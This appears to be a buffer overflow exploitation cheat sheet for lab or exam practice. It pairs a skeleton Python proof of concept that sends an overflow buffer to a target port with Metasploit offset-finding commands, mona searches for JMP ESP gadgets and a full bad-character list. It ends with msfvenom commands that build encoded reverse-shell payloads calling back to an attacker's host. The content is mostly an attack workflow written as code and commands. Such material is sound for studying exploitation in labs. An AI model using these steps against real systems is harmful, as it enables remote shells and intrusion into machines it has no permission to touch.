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Buffer Overflow

poc.py

#!/usr/bin/python

import sys, socket

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <ip>\n"
    sys.exit()

junk = "\x41" * # number

eip = "" # jmp esp

nop = "\x90" * 8

shell = ()

buffer = junk + eip + nop + shell

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IPv4 (AF_INET), TCP (SOCK_STREAM)
s.connect((sys.argv[1], 9001))
s.send(buffer)
s.recv(1024)
s.close()

Offset

Create pattern for juck value

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <number>

Identify the offset

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <value>

Go to esp

Install mona: https://github.com/corelan/mona

!mona modules

assembly to hex converter: https://defuse.ca/online-x86-assembler.htm

JMP ESP

!mona find -s "\xff\xe4" -m "app.dll"

CALL ESP

!mona find -s "\xff\xd4" -m "app.dll"

PUSH ESP --> RET

!mona find -s "\x54\xc3" -m "app.dll"

https://www.rcesecurity.com/2011/12/buffer-overflow-exploitation-jump-to-shellcode-via-push-espret

Locate payload

nop = "\x90" * 4

Badchars

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Exploit Payload

msfvenom -p windows/shell_reverse_tcp lhost=<ip> lport=443 EXITFUNC=thread -f c -b "\x00" -e x86/shikata_ga_nai
msfvenom -p linux/x86/shell_reverse_tcp lhost=<ip> lport=443 EXITFUNC=thread -f c -b "\x00" -e x86/shikata_ga_nai

More practice

https://blog.hackerenv.com/buffer-overflow-tutorial-step-by-step-with-immunity-debugger-3

https://github.com/V1n1v131r4/OSCP-Buffer-Overflow